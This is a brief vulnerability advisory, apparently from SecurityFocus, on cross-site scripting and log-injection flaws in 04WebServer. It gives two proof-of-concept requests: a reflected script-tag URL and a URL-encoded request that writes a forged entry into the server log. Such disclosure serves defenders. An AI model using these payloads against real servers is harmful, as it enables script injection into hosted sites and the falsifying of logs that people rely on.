source: http://www.securityfocus.com/bid/11652/info

Multiple remote vulnerabilities reportedly affect 04WebServer. These issues are due to a failure of the application to properly sanitize user-supplied input.

An attacker may leverage these issues to carry out cross-site scripting attacks against any Web sites hosted on the affected server and to inject arbitrary characters into log files, potentially leading to corruption.

To leverage the cross-site scripting issue:
http://www.example.com/<script>alert('XSS');</script>

To inject the log entry '[22;45;24] <192.168.1.3> (74,632) [?.?.?.?I?.?.?.?.?.] GET /hack' into the log file the following request is sufficient:
http://www.example.com/a%0a[22;45;24]%20<192.168.1.3>%20(74,632)%20[%90%b3%8f%ed%82%c9%8f%49%97%b9%82%b5%82%dc%82%b5%82%bd]%20GET%20/hack